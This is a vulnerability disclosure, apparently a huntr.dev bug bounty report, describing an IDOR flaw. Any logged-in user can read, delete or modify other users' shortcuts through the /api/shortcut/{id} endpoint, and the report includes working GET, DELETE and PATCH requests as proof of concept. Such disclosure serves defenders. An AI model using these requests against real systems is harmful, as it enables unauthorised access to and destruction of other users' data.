Lucene search

K
huntrLeoracD47D4A94-92E3-4400-B012-A8577CBD7956
HistoryDec 26, 2022 - 8:45 a.m.

IDOR allows to see, update and delete other users shortcuts

2022-12-2608:45:20
leorac
www.huntr.dev
12
idor
information security
api vulnerability
access control

EPSS

0.001

Percentile

21.8%

Description

Even if the endpoint /api/shortcut allow to see the list of your own shortcuts, it is possible to access, modify and delete other users shortcut accessing directly through the IDs.

Proof of Concept

  • Login with one user, and create a shortcut, let’s consider it now has the ID 1
  • Login with another user

Now you are able to access to the shortcut with this:

GET /api/shortcut/1 HTTP/1.1
Host: localhost:5230

You can also delete it:

DELETE /api/shortcut/1 HTTP/1.1
Host: localhost:5230

And update it

PATCH /api/shortcut/1 HTTP/1.1
Host: localhost:5230

{"id":1,"title":"changed 2","payload":"[]"}

EPSS

0.001

Percentile

21.8%

Related for D47D4A94-92E3-4400-B012-A8577CBD7956